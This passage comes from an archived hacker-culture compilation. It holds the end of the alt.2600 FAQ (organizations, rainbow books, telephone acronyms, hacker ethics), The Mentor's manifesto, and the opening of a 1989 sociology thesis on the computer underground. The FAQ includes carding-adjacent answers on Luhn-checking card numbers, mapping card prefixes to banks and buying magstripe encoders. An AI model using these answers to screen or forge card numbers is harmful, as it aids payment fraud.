Nuts & Volts
T& L Publications
430 Princeland Court
Corona, CA 91719
(800)783-4624 (Voice) (Subscription Only Order Line)
(909)371-8497 (Voice)
(909)371-3052 (Fax)
CIS: 74262,3664

11. What are some organizations of interest to hackers?

Computer Professionals for Social Responsibility (CPSR)
CPSR empowers computer professionals and computer users to advocate
for the responsible use of information technology and empowers all who
use computer technology to participate in the public debate.   As
technical experts, CPSR members provide the public and policymakers
with realistic assessments of the power, promise, and limitations of
computer technology.  As an organization of concerned citizens, CPSR
directs public attention to critical choices concerning the
applications of computing and how those choices affect society.

By matching unimpeachable technical information with policy
development savvy, CPSR uses minimum dollars to have maximum impact
and encourages broad public participation in the shaping of technology

Every project we undertake is based on five principles:

*  We foster and support public discussion of and public
   responsibility for decisions involving the use of computers in
   systems critical to society.

*  We work to dispel popular myths about the infallibility of
   technological systems.

*  We challenge the assumption that technology alone can solve
   political and social problems.

*  We critically examine social and technical issues within the
   computer profession, nationally and internationally.

*  We encourage the use of computer technology to improve the quality
   of life.

CPSR Membership Categories
  50  Basic member
 200  Supporting member
 500  Sponsoring member
1000  Lifetime member
  20  Student/low income member
  50  Foreign subscriber
  50  Library/institutional subscriber

CPSR National Office
P.O. Box 717
Palo Alto, CA  94301
415-322-3798 (FAX)

Electronic Frontier Foundation (EFF)
The Electronic Frontier Foundation (EFF) is dedicated to the pursuit
of policies and activities that will advance freedom and openness in
computer-based communications. It is a member-supported, nonprofit
group that grew from the conviction that a new public interest
organization was needed in the information age; that this organization
would enhance and protect the democratic potential of new computer
communications technology. From the beginning, the EFF determined to
become an organization that would combine technical, legal, and public
policy expertise, and would apply these skills to the myriad issues
and concerns that arise whenever a new communications medium is born.

Memberships are $20.00 per year for students, $40.00 per year for
regular members, and $100.00 per year for organizations.

The Electronic Frontier Foundation, Inc.
666 Pennsylvania Avenue S.E., Suite 303
Washington, D.C.  20003
+1 202 544 9237
+1 202 547 5481 FAX

Free Software Foundation (FSF)


The League for Programming Freedom (LPF)
The League for Programming Freedom is an organization of people who
oppose the attempt to monopolize common user interfaces through "look
and feel" copyright lawsuits.  Some of us are programmers, who worry
that such monopolies will obstruct our work.  Some of us are users,
who want new computer systems to be compatible with the interfaces we
know.  Some are founders of hardware or software companies, such as
Richard P. Gabriel. Some of us are professors or researchers,
including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S.
Boyer and Patrick Winston.

"Look and feel" lawsuits aim to create a new class of government-
enforced monopolies broader in scope than ever before.  Such a system
of user-interface copyright would impose gratuitous incompatibility,
reduce competition, and stifle innovation.

We in the League hope to prevent these problems by preventing
user-interface copyright.  The League is NOT opposed to copyright law
as it was understood until 1986 -- copyright on particular programs.
Our aim is to stop changes in the copyright system which would take
away programmers' traditional freedom to write new programs compatible
with existing programs and practices.

Annual dues for individual members are $42 for employed professionals,
$10.50 for students, and $21 for others.  We appreciate activists, but
members who cannot contribute their time are also welcome.

To contact the League, phone (617) 243-4091, send Internet mail to the
address, or write to:

League for Programming Freedom
1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA

Founded in 1989, SotMesc is dedicated to preserving the integrity and
cohesion of the computing society.  By promoting computer education,
liberties and efficiency, we believe we can secure freedoms for all
computer users while retaining privacy.

SotMesc maintains the CSP Internet mailing list, the SotMesc
Scholarship Fund, and the SotMesc Newsletter.

The SotMESC is financed partly by membership fees, and donations, but
mostly by selling hacking, cracking, phreaking, electronics, internet,
and virus information and programs on disk and bound paper media.

SotMesc memberships are $20 to students and $40 to regular members.

P.O. Box 573
Long Beach, MS  39560

Computer Emergency Response Team (CERT

CERT is the Computer Emergency Response Team that was formed by the
Defense Advanced Research Projects Agency (DARPA) in November 1988 in
response to the needs exhibited during the Internet worm incident.
The CERT charter is to work with the Internet community to facilitate
its response to computer security events involving Internet hosts, to
take proactive steps to raise the community's awareness of computer
security issues, and to conduct research targeted at improving the
security of existing systems.

CERT products and services include 24-hour technical assistance for
responding to computer security incidents, product vulnerability
assistance, technical documents, and seminars.  In addition, the team
maintains a number of mailing lists (including one for CERT
advisories) and provides an anonymous FTP server:
(, where security-related documents, past CERT
advisories, and tools are archived.

CERT contact information:

U.S. mail address
  CERT Coordination Center
  Software Engineering Institute
  Carnegie Mellon University
  Pittsburgh, PA 15213-3890

Internet E-mail address

Telephone number
  +1 412-268-7090 (24-hour hotline)
    CERT Coordination Center personnel answer
    7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
    emergencies during other hours.

FAX number
  +1 412-268-6989

12. Where can I purchase a magnetic stripe encoder/decoder?

CPU Advance
PO Box 2434
Harwood Station
Littleton, MA  01460
(508)624-4819 (Fax)

Omron Electronics, Inc.
One East Commerce Drive
Schaumburg, IL  60173
(800)556-6766 (Voice)
(708)843-7787 (Fax)

Security Photo Corporation
1051 Commonwealth Avenue
Boston, MA 02215
(800)533-1162 (Voice)
(617)783-3200 (Voice)
(617)783-1966 (Voice)

Timeline Inc,
23605 Telo Avenue
Torrence, CA 90505
(800)872-8878 (Voice)
(800)223-9977 (Voice)

13. What are the rainbow books and how can I get them?

Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria

Green Book
Department of Defense Password Management Guideline

Yellow Book
Computer Security Requirements -- Guidance for Applying the Department
of Defense Trusted Computer System Evaluation Criteria in Specific

Yellow Book
Technical Rationale Behind CSC-STD-003-85: Computer Security
Requirements.  Guidance for Applying the Department of Defense Trusted
Computer System Evaluation Criteria in Specific Environments.

Tan Book
A Guide to Understanding Audit in Trusted Systems

Bright Blue Book
Trusted Product Evaluation - A Guide for Vendors

Neon Orange Book
A Guide to Understanding Discretionary Access Control in Trusted

Teal Green Book
Glossary of Computer Security Terms

Red Book
Trusted Network Interpretation of the Trusted Computer System
Evaluation Criteria

Orange Book
A Guide to Understanding Configuration Management in Trusted Systems

Burgundy Book
A Guide to Understanding Design Documentation in Trusted Systems

Dark Lavender Book
A Guide to Understanding Trusted Distribution in Trusted Systems

Venice Blue Book
Computer Security Subsystem Interpretation of the Trusted Computer
System Evaluation Criteria

Aqua Book
A Guide to Understanding Security Modeling in Trusted Systems

Dark Red Book
Trusted Network Interpretation Environments Guideline -- Guidance for
Applying the Trusted Network Interpretation

Pink Book
Rating Maintenance Phase -- Program Document

Purple Book
Guidelines for Formal Verification Systems

Brown Book
A Guide to Understanding Trusted Facility Management

Yellow-Green Book
Guidelines for Writing Trusted Facility Manuals

Light Blue
A Guide to Understanding Identification and Authentication in Trusted

Light Blue Book
A Guide to Understanding Object Reuse in Trusted Systems

Blue Book
Trusted Product Evaluation Questionnaire

Gray Book
Trusted Unix Working Group (TRUSIX) Rationale for Selecting
Access Control List Features for the Unix System

Lavender Book
Trusted Data Base Management System Interpretation of the Trusted
Computer System Evaluation Criteria

Yellow Book
A Guide to Understanding Trusted Recovery in Trusted Systems

Bright Orange Book
A Guide to Understandng Security Testing and Test Documentation in
Trusted Systems

Purple Book
NCSC-TG-024  (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to
Procurement Initiators on Computer Security Requirements

Purple Book
NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP
Specifications and Statements of Work - An Aid to Procurement

Purple Book
NCSC-TG-024  (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract
Data Requirements List and Data Item Description Tutorial

+Purple Book
+NCSC-TG-024  (Volume 4/4)
+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
+Proposal Document - An Aid to Procurement Initiators and Contractors

Green Book
A Guide to Understanding Data Remanence in Automated Information

Hot Peach Book
A Guide to Writing the Security Features User's Guide for Trusted Systems

Turquiose Book
A Guide to Understanding Information System Security Officer
Responsibilities for Automated Information Systems

Violet Book
Assessing Controlled Access Protection

Blue Book
Introduction to Certification and Accreditation

Light Pink Book
A Guide to Understanding Covert Channel Analysis of Trusted Systems

C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment

*C Technical Report 79-91
*Integrity in Automated Information Systems

*C Technical Report 39-92
*The Design and Evaluation of INFOSEC systems: The Computer Security
*Contributions to the Composition Discussion

Advisory Memorandum on Office Automation Security Guideline


You can get your own free copy of any or all of the books by writing
or calling:

       INFOSEC Awareness Division
       ATTN: X711/IAOC
       Fort George G. Meade, MD  20755-6000

       Barbara Keller
       (410) 766-8729

If you ask to be put on the mailing list, you'll get a copy of each new
book as it comes out (typically a couple a year).

[* == I have not personally seen this book]
[+ == I have not personally seen this book, and I believe it may not]
[     be available]

Section D: 2600

01. What is alt.2600?

Alt.2600 is a Usenet newsgroup for discussion of material relating to
2600 Magazine, the hacker quarterly.   It is NOT for the Atari 2600
game machine. created the group on Emmanuel
Goldstein's recommendation.  Emmanuel is the editor/publisher of 2600
Magazine. Following the barrage of postings about the Atari machine to
alt.2600, an alt.atari.2600 was created to divert all of the atari
traffic from alt.2600.  Atari 2600 people are advised to hie over to

02. What does "2600" mean?

	2600Hz was a tone that was used by early phone phreaks (or
phreakers) in the 80's, and some currently.  If the tone was sent down the
line at the proper time, one could get away with all sorts of fun stuff.  

A note from Emmanuel Goldstein:

"The Atari 2600 has NOTHING to do with blue boxes or telephones
or the 2600 hertz tone.  The 2600 hertz tone was simply the first
step towards exploring the network.  If you were successful at 
getting a toll call to drop, then billing would stop at that
point but there would be billing for the number already dialed
up until the point of seizure.  800 numbers and long distance
information were both free in the past and records of who called
what were either non-existent or very obscure with regards to
these numbers.  This, naturally, made them more popular than
numbers that showed up on a bill, even if it was only for
a minute.  Today, many 800 numbers go overseas, which provides
a quick and free way into another country's phone system
which may be more open for exploration."

03. Are there on-line versions of 2600 available?


04. I can't find 2600 at any bookstores.  What can I do?

Subscribe.  Or, let 2600 know via the subscription address that you
think 2600 should be in the bookstore.  Be sure to include the
bookstores name and address.

05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

A note from Emmanuel Goldstein:

  We've been selling 2600 at the same newsstand price ($4) since 1988
  and we hope to keep it at that price for as long as we can get away
  with it. At the same time, $21 is about the right price to cover
  subscriber costs, including postage and record keeping, etc. People
  who subscribe don't have to worry about finding an issue someplace,
  they tend to get issues several weeks before the newsstands get
  them, and they can take out free ads in the 2600 Marketplace.

  This is not uncommon in the publishing industry.  The NY Times, for
  example, costs $156.50 at the newsstands, and $234.75 delivered to your

Section E: Miscellaneous

01. What does XXX stand for?

TLA     Three Letter Acronym

ACL     Access Control List
PIN     Personal Identification Number
TCB     Trusted Computing Base

ALRU    Automatic Line Record Update
AN      Associated Number
ARSB    Automated Repair Service Bureau
ATH     Abbreviated Trouble History
BOC     Bell Operating Company
BOR     Basic Output Report
BOSS    Business Office Servicing System
CA      Cable
COE     Central Office Equipment
COSMOS  Computer System for Main Frame Operations
CMC     Construction Maintenance Center
CNID    Calling Number IDentification
CO      Central Office
COCOT   Customer Owned Coin Operated Telephone
CRSAB   Centralized Repair Service Answering Bureau
DDD     Direct Distance Dialing
ECC     Enter Cable Change
LD      Long Distance
LMOS    Loop Maintenance Operations System
MLT     Mechanized Loop Testing
NPA     Numbering Plan Area
POTS    Plain Old Telephone Service
RBOC    Regional Bell Operating Company
RSB     Repair Service Bureau
SS      Special Service
TAS     Telephone Answering Service
TH      Trouble History
TREAT   Trouble Report Evaluation and Analysis Tool

LOD     Legion of Doom
HFC     Hell Fire Club
TNO     The New Order

ACiD    Ansi Creators in Demand
CCi     Cybercrime International
FLT     Fairlight
iCE     Insane Creators Enterprise
iNC     International Network of Crackers
NTA     The Nocturnal Trading Alliance
PDX     Paradox
PE      Public Enemy
PSY     Psychose
QTX     Quartex
RZR     Razor (1911)
S!P     Supr!se Productions
TDT     The Dream Team
THG     The Humble Guys
THP     The Hill People
TRSI    Tristar Red Sector Inc.

02. How do I determine if I have a valid credit card number?

Credit cards use the Luhn Check Digit Algorithm.  The main purpose of
this algorithm is to catch data entry errors, but it does double duty
here as a weak security tool.

For a card with an even number of digits, double every odd numbered
digit and subtract 9 if the product is greater than 9.  Add up all the
even digits as well as the doubled-odd digits, and the result must be
a multiple of 10 or it's not a valid card.  If the card has an odd
number of digits, perform the same addition doubling the even numbered
digits instead.

03. What bank issued this credit card?

1033    Manufacturers Hanover Trust
1035    Citibank
1263    Chemical Bank
1665    Chase Manhattan
4024    Bank of America
4128    Citicorp
4209    New Era Bank
4302    HHBC
4310    Imperial Savings
4313    MBNA
4317    California Federal
5282    Wells Fargo
5424    Citibank
5410    Wells Fargo
5432    Bank of New York
6017    MBNA

04. What are the ethics of hacking?

The FAQ answer is excerpted from: Hackers: Heroes of the Computer Revolution
                                  by Steven Levy

Access to computers -- and anything which might teach you something
about the way the world works -- should be unlimited and total.
Always yield to the Hands-On imperative.

All information should be free.

Mistrust Authority.  Promote Decentralization.

Hackers should be judged by their hacking, not bogus criteria such as
degrees, age, race, or position.

You can create art and beauty on a computer.

Computers can change your life for the better.

04. Where can I get a copy of the alt.2600/#hack FAQ?

Get it on FTP at: /pub/lps /pub/usenet-by-group/alt.2600

Get it on the World Wide Web at:

Get it by E-Mail at:  (Subject: send faq)


The Consience of a Hacker by The Mentor (January 8, 1986)

      The following was written shortly after my arrest. I am currently 
groupless, having resigned from the Racketeers, so ignore the signoff...

The Consience of a Hacker... by The Mentor 1/8/86

      Another one got caught today, it's all over the papers. "Teenager 
Arrested in Computer Crime Scandal", "Hacker Arrested after Bank 

      Damn kids. They're all alike.

      But did you, in your three-piece psychology and 1950's technobrain, 
ever take a look behind the eyes of the hacker? Did you ever wonder what 
made him tick, what forces shaped him, what may have molded him?

      I am a hacker, enter my world...

      Mine is a world that begins with school... I'm smarter than most of 
the other kids, this crap they teach us bores me...

      Damn underachiever. they're all alike.

      I'm a junior in High School. I've listened to teachers explain for 
the 15th time how to reduce a fraction. I understand it. "No Ms. Smith, I 
didn't show my work. I did it in my head..."

      Damn kid. Probably copied it. They're all alike.

      I made a discovery today. I found a computer. Wait a second, this 
is cool. It does what I want it to. If it makes a mistake, it's because I 
screwed it up. Not because it doesn't like me...

      Or feels threatened by me...

      Or thinks I'm a smart ass...

      Or doesn't like teaching and shouldn't be here...

      Damn kid. All he does is play games. They're all alike.

      And then it happened... A door opened to a world... rushing through 
the phone line like heroin through an addict's veins, an electronic pulse 
is sent out, a refuge from the day-to-day incompetencies is sought... A 
board is found.

      "This is it... This is where I belong..."

      I know everyone here... even if I've never met them, never talked 
to them, may never hear from them again... I know them all...

      Damn kid. Tying up the phone line again. They're all alike...

      You bet you're ass we're all alike... We've been spoon-fed baby 
food when we hungered for steak... the bits of meat that you did let slip 
through were pre-chewed and tasteless. We've been dominated by sadists, 
or ignored by the apathetic. The few that had something to teach found us 
willing pupils, but those are like drops of water in the desert.

      This is our world now... the world of the electron and the switch, 
the beauty of the baud. We make use of a service already existing without 
paying for what could be dirt-cheap if it wasn't run by profiteering 
gluttons, and you call us criminals. We explore... and you call us 
criminals. We seek after knowledge... and you call us criminals. We exist 
without skin color, without nationality, without religious bias... and 
you call us criminals. You build atomic bombs, you wage wars, you murder, 
cheat, and lie to use and try to make us believe it's for our own good, 
yet we're the criminals.

      Yes, I am a criminal. My crime is that of curiosity. My crime is 
that of judging people by what they say and think, not what they look 
like. My crime is that of outsmarting you, something you will never 
forgive me for.

      I am a hacker, and this is my manifesto. You may stop this 
individual, but you can't stop us all... after all, we're all alike.

+++The Mentor+++

The Social Organization of the Computer Underground (Thesis)

                            NORTHERN ILLINOIS UNIVERSITY




                                   FOR THE DEGREE

                                   MASTER OF ARTS

                               DEPARTMENT OF SOCIOLOGY


                                   GORDON R. MEYER

                                   %CompuServe: 72307,1502%
                                   %GEnie: GRMEYER%

                                  DEKALB, ILLINOIS

                                     AUGUST 1989



             Name: Gordon R. Meyer            Department: Sociology

             Title: The Social Organization of the Computer Underground

             Major: Criminology               Degree: M.A.

             Approved by:                     Date:

             __________________________       ________________________
             Thesis Director

                          NORTHERN ILLINOIS UNIVERSITY



               This paper examines the social organization of the

               "computer underground" (CU).  The CU is composed of

               actors in three roles, "computer hackers," "phone

               phreaks," and "software pirates."  These roles have

               frequently been ignored or confused in media and other

               accounts of CU activity. By utilizing a data set culled

               from CU channels of communication this paper provides

               an ethnographic account of computer underground

               organization. It is concluded that despite the

               widespread social network of the computer underground,

               it is organized primarily on the level of colleagues,

               with only small groups approaching peer relationships.


               Certification: In accordance with departmental and

                              Graduate School policies, this thesis

                              is accepted in partial fulfillment

                              of degree requirements.

                              Thesis Director




                         FOR CRITIQUE, ADVICE, AND COMMENTS:

                                 DR. JAMES L. MASSEY

                                   DR. JIM THOMAS

                               DR. DAVID F. LUCKENBILL

                           FOR SUPPORT AND ENCOURAGEMENT:

                                    GALE GREINKE

                                 SPECIAL THANKS TO:

                            D.C., T.M., T.K., K.L., D.P.,

                                   M.H., AND G.Z.

                             THIS WORK IS DEDICATED TO:

                                   GEORGE HAYDUKE


                                     BARRY FREED


                                  TABLE OF CONTENTS

               Introduction . . . . . . . . . . . . . . . . . . .    1

               Methodology  . . . . . . . . . . . . . . . . . . .    6

               What is the Computer Underground?  . . . . . . . .   11

               Topography of the Computer Underground . . . . . .   20
                    Hacking     . . . . . . . . . . . . . . . . .   20
                    Phreaking . . . . . . . . . . . . . . . . . .   21
                    Pirating    . . . . . . . . . . . . . . . . .   24

               Social Organization and Deviant Associations . . .   28

               Mutual Association . . . . . . . . . . . . . . . .   31

               The Structure of the Computer Underground  . . . .   33
                    Bulletin Board Systems    . . . . . . . . . .   33
                         Towards a BBS Culture  . . . . . . . . .   37
                    Bridges, Loops, and Voice Mail Boxes    . . .   53
                    Summary   . . . . . . . . . . . . . . . . . .   57

               Mutual Participation . . . . . . . . . . . . . . .   59
                    Pirate Groups   . . . . . . . . . . . . . . .   63
                    Phreak/hack groups    . . . . . . . . . . . .   64
                    Summary   . . . . . . . . . . . . . . . . . .   67

               Conclusion . . . . . . . . . . . . . . . . . . . .   69

               REFERENCES . . . . . . . . . . . . . . . . . . . .   75


               APPENDIX B.



                    The proliferation of home computers has been

               accompanied by a corresponding social problem involving

               the activities of so-called "computer hackers."

               "Hackers" are computer aficionados who "break in" to

               corporate and government computer systems using their

               home computer and a telephone modem.  The prevalence of

               the problem has been dramatized by the media and

               enforcement agents, and evidenced by the rise of

               specialized private security firms to confront the

               "hackers."  But despite this flurry of attention,

               little research has examined the social world of the

               "computer hacker." Our current knowledge in this regard

               derives from hackers who have been caught, from

               enforcement agents, and from computer security

               specialists.  The everyday world and activities of the

               "computer hacker" remain largely unknown.

                    This study examines the way actors in the

               "computer underground" (CU) organize to perform their

               acts. The computer underground, as it is called by

               those who participate in it, is composed of actors

               adhering to one of three roles: "hackers," "phreakers,"

               or "pirates." To further understanding this growing

               "social problem," this project will isolate and clarify


               these roles, and examine how each contributes to the

               culture as a whole. By doing so the sociological

               question of how the "underground" is organized will be

               answered, rather than the technical question of how CU

               participants perform their acts.

                    Best and Luckenbill (1982) describe three basic

               approaches to the study of "deviant" groups.  The first

               approach is from a social psychological level, where

               analysis focuses on the needs, motives, and individual

               characteristics of the actors involved.  Secondly,

               deviant groups can be studied at a socio-structural

               level.  Here the emphasis is on the distribution and

               consequences of deviance within the society as a whole.

               The third approach, the one adopted by this work, forms

               a middle ground between the former two by addressing

               the social organization of deviant groups.   Focusing

               upon neither the individual nor societal structures

               entirely, social organization refers to the network of

               social relations between individuals involved in a

               common activity (pp. 13-14).  Assessing the degree and

               manner in which the underground is organized provides

               the opportunity to also examine the culture, roles, and

               channels of communication used by the computer

               underground. The focus here is on the day to day

               experience of persons whose activities have been


               criminalized over the past several years.

                    Hackers, and the "danger" that they present in our

               computer dependent society, have often received

               attention from the legal community and the media. Since

               1980, every state and the federal government has

               criminalized  "theft by browsing" of computerized

               information (Hollinger and Lanza-Kaduce, 1988, pp.101-

               102). In the media, hackers have been portrayed as

               maladjusted losers, forming "high-tech street gangs"

               (Chicago Tribune, 1989) that are dangerous to society.

               My research will show that the computer underground

               consists of a more sophisticated level of social

               organization than has been generally recognized. The

               very fact that CU participants are to some extent

               "networked" has implications for social control

               policies that may have been implemented based on an in-

               complete understanding of the activity. This project

               not only offers sociological insight into the organ-

               ization of deviant associations, but may be helpful to

               policy makers as well.

                    I begin with a discussion of the definitional

               problems that inhibit the sociological analysis of the

               computer underground. The emergence of the computer

               underground is a recent phenomenon, and the lack of

               empirical research on the topic has created an area


               where few "standard" definitions and categories exist.

               This work will show that terms such as "hacker,"

               "phreaker," and "pirate" have different meanings for

               those who have written about the computer underground

               and those who participate in it. This work bridges

               these inconsistencies by providing definitions that

               focus on the intentions and goals of the participants,

               rather than the legality or morality of their actions.

                    Following the definition of CU activities is a

               discussion of the structure of the underground.

               Utilizing a typology for understanding the social

               organization of deviant associations, developed by Best

               and Luckenbill (1982), the organization of the

               computer underground is examined in depth.

                    The analysis begins by examining the structure of

               mutual association. This provides insight into how CU

               activity is organized, the ways in which information is

               obtained and disseminated, and explores the subcultural

               facets of the computer underground.  More importantly,

               it clearly illustrates that the computer underground is

               primarily a social network of individuals that perform

               their acts separately, yet support each other by

               sharing information and other resources.

                    After describing mutual association within the

               underground community, evidence of mutual participation


               is presented. Although the CU is a social network, the

               ties developed at the social level encourage the

               formation of small "work groups." At this level, some

               members of the CU work in cooperation to perform their

               acts. The organization and purposes of these groups are

               examined, as well as their relationship to the CU as a

               whole. However, because only limited numbers of

               individuals join these short-lived associations, it is

               concluded that the CU is organized as colleagues. Those

               who do join "work groups" display the characteristics

               of peers, but most CU activity takes place at a fairly

               low level of sophistication.



                    Adopting an ethnographic approach, data have been

               gathered by participating in, monitoring, and cata-

               loging channels of communication used by active members

               of the computer underground. These channels, which will

               be examined in detail later,  include electronic

               bulletin board systems (BBS), voice mail boxes,

               bridges, loops, e-mail, and telephone conversations.

               These sources provide a window through which to observe

               interactions, language, and cultural meanings without

               intruding upon the situation or violating the privacy

               of the participants.  Because these communication

               centers are the "back stage" area of the computer

               underground, they provided insight into organizational

               (and other) issues that CU participants face, and the

               methods they use to resolve them.

                    As with any ethnographic research, steps have been

               taken to protect the identity of informants.  The

               culture of the computer underground aids the researcher

               in this task since phreakers, hackers, and pirates

               regularly adopt pseudonyms to mask their identity.

               However to further ensure confidentiality, all of the

               pseudonyms cited in this research have been changed by

               the author. Additionally, any information that is


               potentially incriminating has been removed or altered.

                    The data set used for this study consists

               primarily of messages, or "logs," which are the primary

               form of communication between users.  These logs were

               "captured" (recorded using the computer to save the

               messages) from several hundred computer bulletin

               boards1 located across the United States.  The bulk of

               the data were gathered over a seventeen month period

               (12/87 to 4/89) and will reflect the characteristics of

               the computer underground during that time span.

               However, some data, provided to the researcher by

               cooperative subjects, dates as far back as 1984.

                    The logged data were supplemented by referring to

               several CU "publications."  The members of the computer

               underground produce and distribute several technical

               and tutorial newsletters and "journals."  Since these

               "publications" are not widely available outside of CU

               circles I have given a brief description of each below.

                    Legion of Doom/Hackers Technical Journal.  This


                    1 Computer Bulletin Boards (BBS) are personal
               computers that have been equipped with a telephone
               modem and special software. Users can connect with a
               BBS by dialing, with their own computer and modem, the
               phone number to which the BBS is connected. After
               "logging in" by supplying a valid user name and pass-
               word, the user can leave messages to other users of the
               system.  These messages are not private and anyone
               calling the BBS can freely read and respond to them.



               publication is written and distributed by a group known

               as "The Legion of Doom/Legion of Hackers" (LoD/H).  It

               is available in electronic format (a computer text

               file) and contains highly technical information on

               computer operating systems. As of this writing, three

               issues have been published.

                    PHRACK Inc.:  Phrack Inc is a newsletter that

               contains various articles, written by different

               authors, and "published" under one banner.  Phrack

               Inc's first issue was released in 1985, making it the

               oldest of the electronically distributed underground

               publications.  CU participants are invited to submit

               articles to the editors, who release a new issue when a

               sufficient number (about nine) of acceptable pieces

               have been gathered. Phrack also features a lengthy

               "World News" with stories about hackers who have been

               apprehended and interviews with various members of the

               underground. As of this writing twenty-seven issues of

               Phrack, have been published.

                    Phreakers/Hackers Underground Network (P/Hun):

               Like Phrack, P/Hun collects articles from various

               authors and releases them as one issue.  Three issues

               have been published to date.

                    Activist Times, Incorporated (ATI): Unlike the

               other electronically distributed publications, ATI does


               not limit itself to strictly computer/telephone news.

               Articles normally include commentary on world and

               government events, and other "general interest" topics.

               ATI issues are generally small and consist of articles

               written by a core group of four to seven people.

               Unlike the publications discussed thus far, ATI is

               available in printed "hard copy" form by sending

               postage reimbursement to the editor.  ATI is currently

               on their 38th issue.

                    2600 Magazine:  Published in a traditional

               (printed) magazine format, 2600 (named for the

               frequency tone used to make free long distance phone

               calls) is arguably an "underground" publication as it

               is available on some newsstands and at some libraries.

               Begun in 1987 as a monthly magazine, it is now

               published quarterly. Subscription rates are $25.00 a

               year with a complete back-issue selection available.

               The magazine specializes in publishing technical

               information on telephone switching systems, satellite

               descrambling codes, and news about the computer


                    TAP/YIPL: First established in 1972 as YIPL (Youth

               International Party Line), this publication soon

               changed its name to TAP (Technical Assistance Party).

               Co-founded by Abbie Hoffman, it is generally recognized


               as the grandfather of computer underground

               publications.  Publication of the 2-4 page newsletter

               has been very sporadic over the years, and currently

               two different versions of TAP, each published in

               different areas of the country, are in circulation.

                    Utilizing a data set that consists of current

               message logs, old messages logs, and various CU

               publications yields a reasonably rich collection from

               which to draw the analysis.  Examination of the older

               logs and publications shows that while the actors have

               changed over the years, cultural norms and

               characteristics have remained consistent over time.


                          What is the Computer Underground?

                    Defining the "computer underground" can be

               difficult. The sociologist soon finds that there are

               several competing definitions of computer underground

               activity.  Those who have written on the subject, the

               media, criminologists, computer programmers, social

               control agents, and CU participants themselves, have

               adopted definitions consistent with their own social

               positions and perspectives. Not surprisingly, these

               definitions rarely correspond. Therefore, before

               discussing the organization of the computer

               underground, it is necessary to discuss and compare the

               various definitions.  This will illustrate the range of

               beliefs about CU activity, and provide a springboard

               for the discussion of types of roles and activities

               found in the underground.

                    We begin with a discussion of the media image of

               computer hackers. The media's concept of "hackers" is

               important because the criminalization of the activity

               has largely occurred as the result of media drama-

               tization of the "problem" (Hollinger and Lanza-Kaduce,

               1988). In fact, it was a collection of newspaper and

               film clips that was presented to the United States

               Congress during legislative debates as evidence of the


               computer hacking problem (Hollinger and Lanza-Kaduce,

               1988, p.107).  Unfortunately, the media assessment of

               the computer underground displays a naive understanding

               of CU activity.

                    The media generally makes little distinction

               between different types of CU activity. Most any

               computer-related crime activity can be attributed to

               "hackers."  Everything from embezzlement to computer

               viruses have, at one time or another, been attributed

               to them. Additionally, hackers are often described as

               being sociopathic or malicious, creating a media image

               of the computer underground that may exaggerate their

               propensity for doing damage.

                    The labeling of hackers as being "evil" is well

               illustrated by two recent media examples. The first is

               from Eddie Schwartz, a WGN-Radio talk show host. Here

               Schwartz is addressing "Anna," a self-identified hacker

               that has phoned into the show:

                    You know what Anna, you know what disturbs
                    me? You don't sound like a stupid person but
                    you represent a . . . a . . . a . . . lack of
                    morality that disturbs me greatly. You really
                    do. I think you represent a certain way of
                    thinking that is morally bankrupt. And I'm
                    not trying to offend you, but I . . . I'm
                    offended by you! (WGN Radio, 1988)

                    Just two months later, NBC-TV's "Hour Magazine"

               featured a segment on "computer crime."  In this

               example, Jay Bloombecker, director of the National


               Center for Computer Crime Data, discusses the "hacker

               problem" with the host of the show, Gary Collins.

                    Collins: . . . are they %hackers% malicious
                    in intent, or are they simply out to prove,
                    ah, a certain machismo amongst their peers?

                    Bloombecker: I think so. I've talked about
                    "modem macho" as one explanation for what's
                    being done. And a lot of the cases seem to
                    involve %proving% %sic% that he . . . can do
                    something really spiffy with computers. But,
                    some of the cases are so evil, like causing
                    so many computers to break, they can't look
                    at that as just trying to prove that you're
                    better than other people.

                    GC: So that's just some of it, some kind of
                    "bet" against the computer industry, or
                    against the company.

                    JB: No, I think it's more than just
                    rottenness. And like someone who uses
                    graffiti doesn't care too much whose building
                    it is, they just want to be destructive.

                    GC: You're talking about a sociopath in
                    control of a computer!

                    JB: Ah, lots of computers, because there's
                    thousands, or tens of thousands %of hackers%
                    (NBC-TV, 1988).

                    The media image of computer hackers, and thus all

               members of the computer underground, is burdened with

               value-laden assumptions about their psychological

               makeup, and focuses almost entirely upon the morality

               of their actions.  Additionally, since media stories

               are taken from the accounts of police blotters,

               security personnel, and hackers who have been caught,

               each of whom have different perspectives and


               definitions of their own, the media definition, if not

               inherently biased, is at best inconsistent.

                    Criminologists, by way of contrast, have done

               little to define the computer underground from a

               sociological perspective.  Those criminological

               definitions that do exist are less judgmental than the

               media image, but no more precise. Labels of

               "electronic trespassers" (Parker, 1983), and

               "electronic vandals" (Bequai, 1987) have both been

               applied to hackers.  Both terms, while acknowledging

               that "hacking" is deviant, shy away from labeling it as

               "criminal" or sociopathic behavior.  Yet despite this

               seemingly non-judgmental approach to the computer

               underground, both Parker and Bequai have testified

               before Congress, on behalf of the computer security in-

               dustry, on the "danger" of computer hackers.

               Unfortunately, their "expert" testimony was largely

               based on information culled from newspaper stories, the

               objectiveness of which has been seriously questioned

               (Hollinger and Lanza-Kaduce 1988 p.105).

                    Computer security specialists, on the other hand,

               are often quick to identify CU participants as part of

               the criminal element. Correspondingly, some reject the

               notion that there are different roles and motivations

               among computer underground participants and thereby


               refuse to define just what it is that a "hacker" or

               "phreaker" does.  John Maxfield, a "hacker expert,"

               suggests that differentiating between "hackers" and

               "phone phreaks" is a moot point, preferring instead

               that they all just be called "criminals" (WGN-Radio.

               Sept 28, 1988).

                    The reluctance or inability to differentiate

               between roles and activities in the computer

               underground, as exhibited in the media and computer

               security firms, creates an ambiguous definition of

               "hacker" that possesses  two extremes: the modern-day

               bank robber at one end, the trespassing teenager at the

               other.  Thus, most any criminal or mischievous act that

               involves computers can be attributed to "hackers,"2

               regardless of the nature of the crime.

                    Further compounding the inconsistent use of

               "hacker" is the evolution of meaning that the word has

               undergone.   "Hacker" was first  applied to computer

